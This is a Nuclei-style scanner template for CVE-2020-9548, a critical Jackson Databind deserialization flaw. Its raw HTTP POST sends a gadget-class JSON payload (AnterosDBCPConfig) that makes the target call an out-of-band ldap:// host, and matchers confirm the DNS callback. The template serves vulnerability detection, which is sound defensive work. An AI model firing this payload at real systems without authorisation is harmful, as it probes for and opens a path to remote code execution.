id: CVE-2020-9548

info:
  name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
  author: tomaquet18
  severity: critical
  description: |
    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9548
    - https://github.com/fairyming/CVE-2020-9548
    - https://www.sangfor.com/blog/cybersecurity/fasterxml-jackson-databind-remote-code-execution-vulnerability-cve-2020-9548
    - https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3E
    - https://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9548
    cwe-id: CWE-502
    epss-score: 0.62699
    epss-percentile: 0.93967
    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fasterxml
    product: jackson-databind
  tags: cve,cve2020,jackson,fasterxml,rce

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [
          "br.com.anteros.dbcp.AnterosDBCPConfig",
          {
            "healthCheckRegistry": "ldap://{{interactsh-url}}"
          }
        ]

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "Error: Class")'
          - 'contains(content_type, "text/plain")'
        condition: and
# digest: 4a0a0047304502202c5a0aba157a4f86f69f0ac159128d88b59f73cd386cfca865a44b7b212778240221009b2e9ecc6fd686b934b7fd7f84369e9b99393a64d38afa18d88cf039f92b2f79:922c64590222798bb761d5b6d8e72950